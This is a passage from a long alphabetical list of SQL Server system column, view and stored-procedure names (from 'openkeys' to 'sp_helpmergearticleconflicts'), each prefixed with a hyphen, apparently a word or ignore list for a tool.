-openkeys -open_resultset_count -open_status -openTape -open_time -open_tran -open_transaction_count -operation -Operation -operational_state -operational_state_desc -operation_desc -operation_id -operation_name -operation_type -operator_id_emailed -operator_id_paged -op_history -optimize_for_sequential_key -optimizer_hint -optname -ord -order_by_is_descending -order_by_list_length -order_column_id -order_direction -order_position -ordinal -ordinal_in_order_by_list -ordinal_position -ORDINAL_POSITION -ordkey -ordlock -orig_db -orig_db_len_in_bytes -OrigFillFactor -original_cost -original_document_size_bytes -original_login_name -original_namespace_document_size_bytes -original_security_id -originator -originator_len_in_bytes -ORMask -os_error_mode -os_language_version -os_priority_class -OS_process_creation_date -OS_process_id -os_quantum -os_run_priority -os_thread_id -outbound_session_key_identifier -outcome -out_of_memory_count -output_file_name -output_options -outseskey -outseskeyid -outstanding_batch_count -outstanding_checkpoint_count -outstanding_read -outstanding_retired_nodes -overall_limit_kb -overall_quality -ownerid -OwnerID -OwnerName -owner_sid -ownertype -owning_principal_id -owning_principal_name -owning_principal_sid -owning_principal_sid_binary -package -package_guid -package_name -pack_errors -pack_received -pack_sent -page_allocator_address -page_class -page_compression_attempt_count -page_compression_success_count -page_consolidation_count -page_consolidation_retry_count -page_count -page_fault_count -page_file_bytes -page_file_bytes_peak -page_flag_bits -page_flag_bits_desc -page_free_space_percent -page_header_version -page_id -page_io_latch_wait_count -page_io_latch_wait_in_ms -page_latch_wait_count -page_latch_wait_in_ms -page_level -page_lock_count -page_lock_wait_count -page_lock_wait_in_ms -page_lsn -page_merge_count -page_merge_retry_count -page_resource -page_server_read_ahead_count -page_server_read_count -page_server_reads -pages_in_bytes -pages_in_use_kb -page_size_in_bytes -pages_kb -page_split_count -page_split_retry_count -page_status -pagesused -page_type -page_type_desc -page_type_flag_bits -page_type_flag_bits_desc -page_update_count -page_update_retry_count -page_verify_option -page_verify_option_desc -parallel_assist_count -parallel_worker_count -parameter_id -parameterization_failure_count -PARAMETER_MODE -PARAMETER_NAME -parameters -PARAMETERS -PARAMETER_STYLE -parameter_type_usages -parameter_xml_schema_collection_usages -param_id -param_int_value -paramorhinttext -param_str_value -param_type -parent_address -parent_class -parent_class_desc -parent_column_id -parent_connection_id -parent_covering_permission_name -parent_directory -parent_directory_exists -parent_id -parent_memory_address -parent_memory_broker_type -parent_minor_id -ParentName -parent_node_id -parent_obj -parent_object_id -parent_plan_handle -parent_requestor_id -parent_task_address -parent_type -parser_version -partid -partition_column_guid -partition_column_id -partition_column_ordinal -partition_count -partition_functions -partition_id -PartitionId -partition_number -partition_ordinal -partition_parameters -partition_range_values -partitions -partition_scheme_id -partition_schemes -partition_type -partition_type_desc -part_key_name -part_key_val -partner_sync_state -partner_sync_state_desc -password -password_hash -patched -path -path_id -path_name -path_type -path_type_desc -pcdata -pcitee -pclass -pcreserved -pcused -pdw_node_id -peak_job_memory_used_mb -peak_memory_kb -peak_process_memory_used_mb -peer_arbitration_id -peer_certificate_id -pending_buffers -pending_disk_io_count -pending_io_byte_average -pending_io_byte_count -pending_io_count -percent_complete -percent_used -perf -performance_counters_address -performed_seeding -periodic_freed_kb -periods -period_type -period_type_desc -permanent_task_affinity_mask -permission_bitmask -permission_name -Permissions -permission_set -permission_set_desc -persisted_age -persisted_sample_percent -persistence_status -persistent_only -persistent_version_store -persistent_version_store_long_term -persistent_version_store_size_kb -pfs_alloc_percent -pfs_is_allocated -pfs_page_id -pfs_status -pfs_status_desc -pgfirst -pgfirstiam -pgmodctr -pgroot -phantom_expired_removed_rows_encountered -phantom_expired_rows_removed -phantom_expiring_rows_encountered -phantom_rows_expired -phantom_rows_expired_removed -phantom_rows_expiring -phantom_rows_touched -phantom_scans_retries -phantom_scans_started -phase_number -phfgid -phrase_id -phyname -physical_database_name -physical_device_name -physical_io -physical_memory_in_use_kb -physical_memory_kb -physical_name -physical_operator_name -physical_path -physical_read_count -pid -pit_db_name -pit_key -pkey -placedid -placed_xml_component_id -placement_id -placingid -plan_flags -plan_forcing_type -plan_forcing_type_desc -plan_generation_num -plan_group_id -plan_guide_id -plan_guides -plan_handle -PlanHandle -plan_id -plan_node_id -plan_persist_context_settings -plan_persist_plan -plan_persist_query -plan_persist_query_hints -plan_persist_query_template_parameterization -plan_persist_query_text -plan_persist_runtime_stats -plan_persist_runtime_stats_interval -plan_persist_wait_stats -platform -platform_desc -pname -polaris_executed_requests_history -polaris_executed_requests_text -polaris_file_statistics -pool_id -pool_paged_bytes -pool_version -population_type -population_type_description -port -port1 -port2 -port_no -position -prec -precision -predicate -predicate_definition -predicate_type -predicate_type_desc -predicate_xml -predicted_allocations_kb -preemptive_switches_count -prefix -PrefixBytes -prepare_elapsed_time -prepare_lsn -prerelease -prev_error -previous_block_hash -previous_page_file_id -previous_page_page_id -previous_status -previous_status_description -previous_value -prev_page_file_id -prev_page_page_id -prev_row_in_chain -primary_dictionary_id -primary_recovery_health -primary_recovery_health_desc -primary_replica -primary_role_allow_connections -primary_role_allow_connections_desc -princid -principal_id -principal_name -principal_server_name -printfmt -priority -priority_id -priority_score -private_build -private_bytes -private_pages -private_pool_hits -private_pool_hit_search_length -private_pool_hits_RA -private_pool_hits_search_length_RA -private_pool_last_access_point -private_pool_last_RA_access_point -private_pool_misses -private_pool_misses_RA -private_pool_miss_search_length -private_pool_miss_search_length_RA -private_pool_pages -private_pool_size -privileged_time -PRIVILEGE_TYPE -probability_of_reuse -procedure_name -procedure_number -procedures -processadmin -process_content -process_content_desc -process_cpu_usage -processed_row_count -process_id -process_kernel_time_ms -process_memory_limit_mb -process_name -processor_group -processor_time -process_physical_affinity -process_physical_memory_low -process_user_time_ms -process_virtual_memory_low -proc_ioblocked_cnt -proc_runable_cnt -producer_id -producer_type -product -product_version -prog_id -program_name -progress -progress_category -promise_avg -promised -promise_total -properties -property -property_description -property_id -property_int_id -property_list_id -property_name -property_set_guid -property_value -protecttype -protocol -protocol_desc -protocol_type -protocol_version -provider -provider_id -providername -ProviderName -provider_string -providerstring -provider_type -provider_version -proxy_id -pruid -psrv -pstat -pub -public_key -pukey -pushdown -push_enabled -pvs_filegroup_id -pvs_off_row_page_skipped_low_water_mark -pvs_off_row_page_skipped_min_useful_xts -pvs_off_row_page_skipped_oldest_active_xdesid -pvs_off_row_page_skipped_oldest_snapshot -pvs_off_row_page_skipped_transaction_not_cleaned -pvt_key_encryption_type -pvt_key_encryption_type_desc -pvt_key_last_backup_date -pwdhash -qe_cc_address -qid -qual -quality -quantum_length_us -quantum_used -query_capture_mode -query_capture_mode_desc -query_context_settings -query_cost -query_count -query_driver_address -query_execution_timeout_sec -query_flags -query_hash -query_hint_failure_count -query_hint_id -query_hints -query_hints_flags -query_hint_text -query_id -query_info -QueryNotificationErrorsQueue -query_parameterization_type -query_parameterization_type_desc -query_param_type -query_plan -query_plan_hash -queryscan_address -query_sql_text -query_store_plan -query_store_query -query_store_query_hints -query_store_query_text -query_store_runtime_stats -query_store_runtime_stats_interval -query_store_wait_stats -query_template -query_template_flags -query_template_hash -query_template_id -query_text -query_text_id -query_time -query_timeout -querytimeout -query_wait_timeout_sec -queue_delay -queued_loads -queued_population_type -queued_population_type_description -queued_request_count -queued_requests -queue_id -queue_length -queue_max_len -queue_messages_1003150619 -queue_messages_1035150733 -queue_messages_1067150847 -queue_size -queuing_order -quorum_commit_lsn -quorum_commit_time -quorum_state -quorum_state_desc -quorum_type -quorum_type_desc -quoted_identifier -range_count -range_high_key -range_rows -range_scan_count -rank -rank_desc -rcmodified -rcrows -rcvfrag -rcvseq -reached_end -read_access -read_ahead_count -read_ahead_distance -read_ahead_done -read_ahead_target -read_bytes_total -read_command -read_count -reader_spid -read_io_completed_total -read_io_count -read_io_issued_total -read_io_queued_total -read_io_stall_queued_ms -read_io_stall_total_ms -read_io_throttled_total -read_location -read_microsec -readobj -readonlybaselsn -read_only_count -read_only_lsn -readonlylsn -readonly_reason -read_only_replica_id -read_only_routing_url -read_operation_count -reads -Reads -reads_completed -read_set_row_count -reads_merged -read_time_ms -read_version -read_write_lsn -readwritelsn -read_write_routing_url -real -reason -reason_desc -re_awcName -rebind_count -re_bitpos -re_ccName -received_time -receive_sequence -receive_sequence_frag -receives_posted -re_colattr -re_colid -re_collatid -re_computed -record -record_count -record_image_first_part -record_image_second_part -record_length_first_part_in_bytes -record_length_second_part_in_bytes -recovery_checkpoint_id -recovery_checkpoint_ts -recovery_fork_guid -recovery_health -recovery_health_desc -recovery_lsn -recovery_lsn_candidate -recovery_model -recovery_model_desc -recovery_unit_id -recovery_vlf_count -recv_bytes -recv_compressed -recv_drops -recv_errors -recv_fifo -recv_frame -recv_multicast -recv_packets -redo_queue_size -redo_rate -redo_start_fork_guid -redostartforkguid -redo_start_lsn -redostartlsn -redo_target_fork_guid -redo_target_lsn -redotargetlsn -reduce_progress -refadd -re_fAnsiTrim -refcount -ref_counter -refcounts -refdate -reference_count -referenced_assembly_id -referenced_class -referenced_class_desc -referenced_column_id -referenced_database_name -referenced_entity_name -referenced_id -referenced_major_id -referenced_minor_id -referenced_minor_name -referenced_object_id -referenced_schema_name -referenced_server_name -reference_name -referencing_class -referencing_class_desc -referencing_entity_name -referencing_id -referencing_minor_id -referencing_schema_name -REFERENTIAL_CONSTRAINTS -refkeys -refmod -re_fNullable -regenerate_date -region -region_allocation_base_address -region_allocation_protection -region_base_address -region_current_protection -region_size_in_bytes -region_state -region_type -register_date -registered_by -registered_search_properties -registered_search_property_lists -registry_key -regular_buffer_size -rejected_row_location -rejected_rows_path -reject_sample_value -reject_type -reject_value -relative_file_path -relative_path -remaining_file_name -re_maxlen -remote_data_archive_databases -remote_data_archive_tables -remote_database_id -remote_database_name -remote_hit -remote_logins -remote_machine_name -remote_name -remote_node -remote_object_name -remote_physical_seeding_id -remote_principal_id -remote_schema_name -remoteserverid -remote_service_binding_id -remote_service_bindings -remote_service_name -remote_table_name -remote_user_name -remoteusername -removal_time -removed_all_rounds_count -removed_in_all_rounds_count -removed_last_round_count -remsvc -re_numcols -re_numtextcols -re_offset -replica_id -replica_metadata_id -replica_name -replica_server_name -replinfo -re_prec -req_cryrefcnt -req_ecid -req_lifetime -req_mode -req_ownertype -req_refcnt -req_spid -req_status -req_transactionID -req_transactionUOW -request_context_address -request_count -requested_memory_kb -request_exec_context_id -request_id -RequestID -request_lifetime -request_max_cpu_time_sec -request_max_memory_grant_percent -request_max_memory_grant_percent_numeric -request_max_resource_grant_percent -request_memory_grant_timeout_sec -request_min_resource_grant_percent -request_mode -request_owner_guid -request_owner_id -request_owner_lockspace_id -request_owner_type -request_reference_count -request_request_id -request_session_id -request_state -request_status -request_time -request_type -required_cursor_options -required_memory_kb -required_synchronized_secondaries_to_commit -re_scale -re_schema_lsn_begin -re_schema_lsn_end -reserved -reserved2 -reserved3 -reserved4 -reserved_bytes -reserved_bytes_by_xdes_id -reserved_io_limited_by_volume_total -reserve_disk_space -reserved_node_bitmap -reserved_page_count -reserved_space_kb -reserved_storage_mb -reserved_worker_count -resource_address -resource_allocation_percentage -resource_associated_entity_id -resource_class -resource_database_id -resource_description -resource_governor_configuration -resource_governor_external_resource_pool_affinity -resource_governor_external_resource_pools -resource_governor_resource_pool_affinity -resource_governor_resource_pools -resource_governor_workload_groups -resource_group_id -resource_id -resource_lock_partition -resource_manager_ack_received -resource_manager_database -resource_manager_dbid -resource_manager_diag_status -resource_manager_id -resource_manager_location -resource_manager_prepare_lsn -resource_manager_server -resource_manager_state -resource_monitor_state -resource_name -resource_phase_1_time -resource_phase_2_time -resource_pool_id -resource_prepare_lsn -resource_semaphore_id -resource_subtype -resource_type -response_rows -result -result_cache_hit -result_desc -result_format -result_format_desc -resultlimit -resultobj -result_schema -result_schema_desc -retention_days -retention_period -retention_period_units -retention_period_units_desc -retired_row_count -retired_transaction_count -retries_attempted -retry_attempts -retry_count -retry_hints -retry_hints_description -retry_interval -return_code -returned_aggregate_count -returned_group_count -returned_row_count -revert_action_duration -revert_action_initiated_by -revert_action_initiated_time -revert_action_start_time -revision -rewind_count -re_xvtype -right_boundary -ring_buffer_address -ring_buffer_type -rkey -rkey1 -rkey10 -rkey11 -rkey12 -rkey13 -rkey14 -rkey15 -rkey16 -rkey2 -rkey3 -rkey4 -rkey5 -rkey6 -rkey7 -rkey8 -rkey9 -rkeydbid -rkeyid -rkeyindid -rmtloginame -rmtpassword -rmtsrvid -role -role_desc -RoleName -role_principal_id -roles -rolesequence -role_sequence_number -root -root_page -rounds_count -round_start_time -route_id -routes -ROUTINE_BODY -ROUTINE_CATALOG -ROUTINE_COLUMNS -ROUTINE_DEFINITION -ROUTINE_NAME -ROUTINES -ROUTINE_SCHEMA -ROUTINE_TYPE -routing_priority -row_address -rowcnt -row_count -row_count_in_thousands -RowCounts -row_delete_attempts -RowFlags -row_group_id -row_group_lock_count -row_group_lock_wait_count -row_group_lock_wait_in_ms -row_group_quality -row_insert_attempts -row_lock_count -row_lock_wait_count -row_lock_wait_in_ms -rowmodctr -row_overflow_fetch_in_bytes -row_overflow_fetch_in_pages -row_overflow_reserved_page_count -row_overflow_used_page_count -rows -rowset -rowset_id -rowsetid -RowsetId -rowsetid_delete -rowsetid_insert -rowsetnum -rows_examined -rows_expired -rows_expired_removed -rows_expiring -rows_first_in_bucket -rows_first_in_bucket_removed -rows_handled -rows_inserted -rows_marked_for_unlink -rows_no_sweep_needed -rows_processed -rows_rejected -rows_returned -rows_sampled -rows_touched -row_terminator -row_update_attempts -row_version -rpc -rpcout -rsc_bin -rsc_dbid -rsc_flag -rsc_indid -rsc_objid -rscolid -rsc_text -rsc_type -rsc_valblk -rsguid -rsid -rsndtime -rule_object_id -run_date -run_duration -run_id -runnable_tasks_count -run_status -run_time -runtime_stats_id -runtime_stats_interval_id -safety -safety_level -safety_level_desc -safetysequence -safety_sequence_number -sample_ms -savepoint_create -savepoint_garbage_count -savepoint_refreshes -savepoint_rollbacks -scale -scan_area -scan_area_desc -scan_count -scan_direction -scan_location -scan_phase -scan_set_count -scans_retried -scans_retries -scans_started -scan_status -scheduler_address -scheduler_count -scheduler_id -scheduler_mask -scheduler_total_count -schema_change_count -schemadate -schema_id -SCHEMA_LEVEL_ROUTINE -schema_name -SCHEMA_NAME -SCHEMA_OWNER -schemas -SCHEMATA -schema_ver -schid -scid -scope -scope_batch -SCOPE_CATALOG -scope_desc -scope_id -scopeid -SCOPE_NAME -scope_object_id -SCOPE_SCHEMA -scope_type -scopetype -scope_type_desc -scoping_xml_component_id -score -script_id -script_level -script_name -scrollable -se_bitpos -se_colid -se_collatid -se_computed -secondary_dictionary_id -secondary_lag_seconds -secondary_low_water_mark -secondary_recovery_health -secondary_recovery_health_desc -secondary_role_allow_connections -secondary_role_allow_connections_desc -secondary_type -secondary_type_desc -sectors_read -sectors_written -securable_class_desc -securable_classes -securityadmin -security_id -security_policies -security_predicate_id -security_predicates -security_timestamp -sec_version_rid -seeding_mode -seeding_mode_desc -seed_value -se_fAnsiTrim -se_fNullable -segid -segmap -segment_bytes_dispatched -segment_id -segment_read_count -segment_skip_count -seladd -selall -selective_xml_index_namespaces -selective_xml_index_paths -self_address -selmod -seltrig -se_maxlen -sendseq -send_sequence -sends_posted -sendxact -sensitivity -sensitivity_classifications -sent_time -se_nullBitInLeafRows -se_numcols -se_offset -se_prec -seq_num -SEQUENCE_CATALOG -sequence_group_id -SEQUENCE_NAME -sequence_num -sequence_number -sequences -SEQUENCES -SEQUENCE_SCHEMA -sequence_value -serde_method -serializer_kernel_time_in_ms -serializer_user_time_in_ms -se_rowsetid -server -serveradmin -server_assembly_modules -server_audits -server_audit_specification_details -server_audit_specifications -server_event_notifications -server_events -server_event_session_actions -server_event_session_events -server_event_session_fields -server_event_sessions -server_event_session_targets -server_file_audits -server_id -server_instance_name -server_len_in_bytes -server_memory_optimized_hybrid_buffer_pool_configuration -server_name -ServerName -server_permissions -server_principal_credentials -server_principal_id -server_principal_name -server_principals -server_principal_sid -server_role_members -servers -server_specification_id -server_sql_modules -server_trigger_events -server_triggers -service_account -service_broker_endpoints -service_broker_guid -ServiceBrokerQueue -service_contract_id -service_contract_message_usages -service_contract_name -service_contracts -service_contract_usages -service_id -service_message_types -service_name -servicename -service_queue_id -service_queues -service_queue_usages -services -se_scale -se_schema_lsn_begin -se_schema_lsn_end -session_context -session_context_keys -session_handle -session_id -SessionLoginName -session_phase -session_server_principal_name -session_source -session_timeout -set_date -set_options -setopts -setupadmin -severity -Severity -se_xvtype -sgam_page_id -sgam_status -sgam_status_desc -sharding_col_id -sharding_dist_type -shard_map_manager_db -shard_map_name -shared -share_delete -shared_memory_committed_kb -shared_memory_reserved_kb -shared_pool_size -share_intention -share_read -share_write -shortmonths -shutdown_time -sid -sigma_blocks_ahead -signal_time -signal_wait_time_ms -signal_worker_address -signature -similarity_index_page_count -simulated_kb -simulation_benefit -singleton_lookup_count -site -size -size_based_cleanup_mode -size_based_cleanup_mode_desc -sizeclass_count -size_in_bytes -size_on_disk_bytes -sizepg -skips_repl_constraints -sku -sleep_time -slot_count -slot_id -smalldatetime -smallint -smallmoney -snapshot_id -snapshot_isolation_state -snapshot_isolation_state_desc -snapshot_sequence_num -snapshot_time -snapshot_timestamp -snapshot_url -sni_error_address -snum -soap_endpoints -socket_count -softirq_time_cs -softnuma_configuration -softnuma_configuration_desc -sos_task_address -source -source_column -source_compute -source_createparams -source_database -source_database_id -SourceDatabaseID -source_database_name -source_dbms -source_desc -source_distribution_id -source_file -source_info -source_length_max -source_length_min -source_nullable -source_precision_max -source_precision_min -source_props -source_query_text -source_scale_max -source_scale_min -source_schema -source_schema_name -source_server -source_table -source_table_id -source_table_name -source_term -source_type -source_version -spacelimit -sp_add_agent_parameter -sp_add_agent_profile -sp_addapprole -sp_addarticle -sp_add_columnstore_column_dictionary -sp_add_data_file_recover_suspect_db -sp_adddatatype -sp_adddatatypemapping -sp_adddistpublisher -sp_adddistributiondb -sp_adddistributor -sp_adddynamicsnapshot_job -sp_addextendedproc -sp_addextendedproperty -sp_AddFunctionalUnitToComponent -sp_addlinkedserver -sp_addlinkedsrvlogin -sp_add_log_file_recover_suspect_db -sp_addlogin -sp_addlogreader_agent -sp_add_log_shipping_alert_job -sp_add_log_shipping_primary_database -sp_add_log_shipping_primary_secondary -sp_add_log_shipping_secondary_database -sp_add_log_shipping_secondary_primary -sp_addmergealternatepublisher -sp_addmergearticle -sp_addmergefilter -sp_addmergelogsettings -sp_addmergepartition -sp_addmergepublication -sp_addmergepullsubscription -sp_addmergepullsubscription_agent -sp_addmergepushsubscription_agent -sp_addmergesubscription -sp_addmessage -sp_addpublication -sp_addpublication_snapshot -sp_addpullsubscription -sp_addpullsubscription_agent -sp_addpushsubscription_agent -sp_addqreader_agent -sp_addqueued_artinfo -sp_addremotelogin -sp_addrole -sp_addrolemember -sp_addscriptexec -sp_addserver -sp_addsrvrolemember -sp_addsubscriber -sp_addsubscriber_schedule -sp_addsubscription -sp_addsynctriggers -sp_addsynctriggerscore -sp_addtabletocontents -sp_add_trusted_assembly -sp_addtype -sp_addumpdevice -sp_adduser -sp_adjustpublisheridentityrange -sp_altermessage -sp_alter_nt_job_mem_configs -sp_approlepassword -spare1 -sp_articlecolumn -sp_articlefilter -sp_article_validation -sp_articleview -sp_assemblies_rowset -sp_assemblies_rowset2 -sp_assemblies_rowset_rmt -sp_assembly_dependencies_rowset -sp_assembly_dependencies_rowset2 -sp_assembly_dependencies_rowset_rmt -spatial_indexes -spatial_index_tessellations -spatial_index_type -spatial_index_type_desc -spatial_reference_id -spatial_reference_systems -sp_attach_db -sp_attach_single_file_db -sp_attachsubscription -sp_audit_write -sp_autoindex_cancel_dta -sp_autoindex_invoke_dta -sp_autostats -sp_availability_group_command_internal -sp_bcp_dbcmptlevel -sp_begin_parallel_nested_tran -sp_bindefault -sp_bindrule -sp_bindsession -sp_browsemergesnapshotfolder -sp_browsereplcmds -sp_browsesnapshotfolder -sp_build_histogram -sp_can_tlog_be_applied -sp_catalogs -sp_catalogs_rowset -sp_catalogs_rowset2 -sp_catalogs_rowset_rmt -sp_cdc_add_job -sp_cdc_change_job -sp_cdc_cleanup_change_table -sp_cdc_dbsnapshotLSN -sp_cdc_disable_db -sp_cdc_disable_table -sp_cdc_drop_job -sp_cdc_enable_db -sp_cdc_enable_table -sp_cdc_generate_wrapper_function -sp_cdc_get_captured_columns -sp_cdc_get_ddl_history -sp_cdc_help_change_data_capture -sp_cdc_help_jobs -sp_cdc_restoredb -sp_cdc_scan -sp_cdc_start_job -sp_cdc_stop_job -sp_cdc_vupgrade -sp_cdc_vupgrade_databases -sp_certify_removable -sp_change_agent_parameter -sp_change_agent_profile -sp_changearticle -sp_changearticlecolumndatatype -sp_changedbowner -sp_changedistpublisher -sp_changedistributiondb -sp_changedistributor_password -sp_changedistributor_property -sp_changedynamicsnapshot_job -sp_changelogreader_agent -sp_change_log_shipping_primary_database -sp_change_log_shipping_secondary_database -sp_change_log_shipping_secondary_primary -sp_changemergearticle -sp_changemergefilter -sp_changemergelogsettings -sp_changemergepublication -sp_changemergepullsubscription -sp_changemergesubscription -sp_changeobjectowner -sp_changepublication -sp_changepublication_snapshot -sp_changeqreader_agent -sp_changereplicationserverpasswords -sp_change_repl_serverport -sp_changesubscriber -sp_changesubscriber_schedule -sp_changesubscription -sp_changesubscriptiondtsinfo -sp_change_subscription_properties -sp_changesubstatus -sp_change_tracking_waitforchanges -sp_change_users_login -sp_check_constbytable_rowset -sp_check_constbytable_rowset2 -sp_check_constraints_rowset -sp_check_constraints_rowset2 -sp_check_dynamic_filters -sp_check_for_sync_trigger -sp_checkinvalidivarticle -sp_check_join_filter -sp_check_log_shipping_monitor_alert -sp_checkOraclepackageversion -sp_check_publication_access -sp_check_removable -sp_check_subset_filter -sp_check_sync_trigger -sp_clean_db_file_free_space -sp_clean_db_free_space -sp_cleanmergelogfiles -sp_cleanup_all_openrowset_statistics -sp_cleanup_all_user_data_in_master -sp_cleanup_data_retention -sp_cleanupdbreplication -sp_cleanup_log_shipping_history -sp_cleanup_temporal_history -sp_cloud_update_blob_tier -sp_collect_backend_plan -sp_column_privileges -sp_column_privileges_ex -sp_column_privileges_rowset -sp_column_privileges_rowset2 -sp_column_privileges_rowset_rmt -sp_columns -sp_columns_100 -sp_columns_100_rowset -sp_columns_100_rowset2 -sp_columns_90 -sp_columns_90_rowset -sp_columns_90_rowset2 -sp_columns_90_rowset_rmt -sp_columns_ex -sp_columns_ex_100 -sp_columns_ex_90 -sp_columns_managed -sp_columns_rowset -sp_columns_rowset2 -sp_columns_rowset_rmt -sp_commit_parallel_nested_tran -sp_configure -sp_configure_automatic_tuning -sp_configure_peerconflictdetection -sp_constr_col_usage_rowset -sp_constr_col_usage_rowset2 -sp_control_dbmasterkey_password -sp_control_plan_guide -sp_copymergesnapshot -sp_copysnapshot -sp_copysubscription -sp_create_asymmetric_key_from_external_key -sp_create_format_type -sp_createmergepalrole -sp_create_openrowset_statistics -sp_createorphan -sp_create_plan_guide -sp_create_plan_guide_from_handle -sp_create_removable -sp_createstats -sp_create_streaming_job -sp_createtranpalrole -sp_cursor -sp_cursorclose -sp_cursorexecute -sp_cursorfetch -sp_cursor_list -sp_cursoropen -sp_cursoroption -sp_cursorprepare -sp_cursorprepexec -sp_cursorunprepare -sp_cycle_errorlog -sp_databases -sp_data_pool_database_query_state -sp_data_pool_table_query_state -sp_data_source_objects -sp_data_source_table_columns -sp_datatype_info -sp_datatype_info_100 -sp_datatype_info_90 -sp_dbcmptlevel -sp_db_ebcdic277_2 -sp_dbfixedrolepermission -sp_db_increased_partitions -sp_dbmmonitoraddmonitoring -sp_dbmmonitorchangealert -sp_dbmmonitorchangemonitoring -sp_dbmmonitordropalert -sp_dbmmonitordropmonitoring -sp_dbmmonitorhelpalert -sp_dbmmonitorhelpmonitoring -sp_dbmmonitorresults -sp_dbmmonitorupdate -sp_dbremove -sp_db_selective_xml_index -sp_db_vardecimal_storage_format -sp_ddopen -sp_defaultdb -sp_defaultlanguage -sp_delete_backup -sp_delete_backup_file_snapshot -sp_delete_http_namespace_reservation -sp_delete_log_shipping_alert_job -sp_delete_log_shipping_primary_database -sp_delete_log_shipping_primary_secondary -sp_delete_log_shipping_secondary_database -sp_delete_log_shipping_secondary_primary -sp_deletemergeconflictrow -sp_deletepeerrequesthistory -sp_deletetracertokenhistory -sp_denylogin -sp_depends -sp_describe_cursor -sp_describe_cursor_columns -sp_describe_cursor_tables -sp_describe_first_result_set -sp_describe_parameter_encryption -sp_describe_undeclared_parameters -sp_detach_db -sp_diagnostic_showplan_log_dbid -sp_disableagentoffload -sp_distcounters -sp_drop_agent_parameter -sp_drop_agent_profile -sp_dropanonymousagent -sp_dropanonymoussubscription -sp_dropapprole -sp_droparticle -sp_dropdatatypemapping -sp_dropdevice -sp_dropdistpublisher -sp_dropdistributiondb -sp_dropdistributor -sp_dropdynamicsnapshot_job -sp_dropextendedproc -sp_dropextendedproperty -sp_drop_format_type -sp_droplinkedsrvlogin -sp_droplogin -sp_dropmergealternatepublisher -sp_dropmergearticle -sp_dropmergefilter -sp_dropmergelogsettings -sp_dropmergepartition -sp_dropmergepublication -sp_dropmergepullsubscription -sp_dropmergesubscription -sp_dropmessage -sp_drop_openrowset_statistics -sp_droporphans -sp_droppublication -sp_droppublisher -sp_droppullsubscription -sp_dropremotelogin -sp_dropreplsymmetrickey -sp_droprole -sp_droprolemember -sp_dropserver -sp_dropsrvrolemember -sp_drop_streaming_job -sp_dropsubscriber -sp_dropsubscription -sp_drop_trusted_assembly -sp_droptype -sp_dropuser -sp_dsninfo -special_build -special_term -SPECIFIC_CATALOG -SPECIFIC_NAME -SPECIFIC_SCHEMA -sp_enableagentoffload -sp_enable_heterogeneous_subscription -sp_enable_sql_debug -sp_enclave_send_keys -sp_enumcustomresolvers -sp_enumdsn -sp_enumeratependingschemachanges -sp_enumerrorlogs -sp_enumfullsubscribers -sp_enumoledbdatasources -sp_enum_oledb_providers -sp_estimate_data_compression_savings -sp_estimated_rowsize_reduction_for_vardecimal -sp_execute -sp_execute_external_script -sp_execute_remote -sp_executesql -sp_executesql_metrics -sp_expired_subscription_cleanup -sp_fido_build_basic_histogram -sp_fido_build_histogram -sp_fido_get_glm_server_update_lock -sp_fido_glms_execute_command -sp_fido_glms_set_storage_containers -sp_fido_glms_unregister_appname -sp_fido_indexstore_update_topology -sp_fido_remove_retention_policy -sp_fido_set_ddl_step -sp_fido_set_retention_policy -sp_fido_set_tran -sp_fido_setup_endpoints -sp_fido_setup_glms -sp_fido_tran_abort -sp_fido_tran_begin -sp_fido_tran_commit -sp_fido_tran_get_state -sp_fido_tran_set_token -sp_filestream_force_garbage_collection -sp_filestream_recalculate_container_size -sp_firstonly_bitmap -sp_fkeys -sp_flush_commit_table -sp_flush_commit_table_on_demand -sp_flush_CT_internal_table_on_demand -sp_flush_ledger_transactions_table -sp_flush_log -sp_force_slog_truncation -sp_foreignkeys -sp_foreign_keys_rowset -sp_foreign_keys_rowset2 -sp_foreign_keys_rowset3 -sp_foreign_keys_rowset_rmt -sp_fulltext_catalog -sp_fulltext_column -sp_fulltext_database -sp_fulltext_getdata -sp_fulltext_keymappings -sp_fulltext_load_thesaurus_file -sp_fulltext_pendingchanges -sp_fulltext_recycle_crawl_log -sp_fulltext_semantic_register_language_statistics_db -sp_fulltext_semantic_unregister_language_statistics_db -sp_fulltext_service -sp_fulltext_table -sp_FuzzyLookupTableMaintenanceInstall -sp_FuzzyLookupTableMaintenanceInvoke -sp_FuzzyLookupTableMaintenanceUninstall -sp_generate_agent_parameter -sp_generate_database_ledger_digest -sp_generatefilters -sp_generate_openrowset_statistics_props -sp_getagentparameterlist -sp_getapplock -sp_getbindtoken -sp_get_database_scoped_credential -sp_getdefaultdatatypemapping -sp_get_distributor -sp_getdistributorplatform -sp_get_dmv_collector_views -sp_get_fido_lock -sp_get_fido_lock_batch -sp_get_file_splits -sp_get_job_status_mergesubscription_agent -sp_getmergedeletetype -sp_get_mergepublishedarticleproperties -sp_get_migration_vlf_state -sp_get_openrowset_statistics_additional_props -sp_get_openrowset_statistics_cardinality -sp_get_Oracle_publisher_metadata -sp_getProcessorUsage -sp_getpublisherlink -sp_get_query_template -sp_getqueuedarticlesynctraninfo -sp_getqueuedrows -sp_get_redirected_publisher -sp_getschemalock -sp_getsqlqueueversion -sp_get_streaming_job -sp_getsubscriptiondtspackagename -sp_getsubscription_status_hsnapshot -sp_gettopologyinfo -sp_get_total_openrowset_statistics_count -sp_getVolumeFreeSpace -sp_grantdbaccess -sp_grantlogin -sp_grant_publication_access -sp_help -sp_help_agent_default -sp_help_agent_parameter -sp_help_agent_profile -sp_helpallowmerge_publication -sp_helparticle -sp_helparticlecolumns -sp_helparticledts -sp_helpconstraint -sp_helpdatatypemap -sp_help_datatype_mapping -sp_helpdb -sp_helpdbfixedrole -sp_helpdevice -sp_helpdistpublisher -sp_helpdistributiondb -sp_helpdistributor -sp_helpdistributor_properties -sp_helpdynamicsnapshot_job -sp_helpextendedproc -sp_helpfile -sp_helpfilegroup -sp_help_fulltext_catalog_components -sp_help_fulltext_catalogs -sp_help_fulltext_catalogs_cursor -sp_help_fulltext_columns -sp_help_fulltext_columns_cursor -sp_help_fulltext_system_components -sp_help_fulltext_tables -sp_help_fulltext_tables_cursor -sp_helpindex -sp_helplanguage -sp_helplinkedsrvlogin -sp_helplogins -sp_helplogreader_agent -sp_help_log_shipping_alert_job -sp_help_log_shipping_monitor -sp_help_log_shipping_monitor_primary -sp_help_log_shipping_monitor_secondary -sp_help_log_shipping_primary_database -sp_help_log_shipping_primary_secondary -sp_help_log_shipping_secondary_database -sp_help_log_shipping_secondary_primary -sp_helpmergealternatepublisher -sp_helpmergearticle -sp_helpmergearticlecolumn -sp_helpmergearticleconflicts 